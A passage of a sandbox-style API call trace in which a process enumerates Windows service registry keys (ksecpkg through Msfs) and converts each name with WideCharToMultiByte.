CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0224.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0224.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0224.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1850, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0224.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0224.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0224.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0224.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0224.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0224.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0224.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0224.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0224.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0224.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0224.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0224.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0224.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0224.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0224.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0224.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0224.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1ad8, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0224.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0224.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0224.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0224.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0224.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0224.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0224.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1850, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0224.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0224.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0224.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0224.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0224.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0224.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0224.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0224.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0224.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0224.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0224.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0224.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1850, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0224.584] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0224.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.584] WideCharToMultiByte (in: CodePage=0x0, 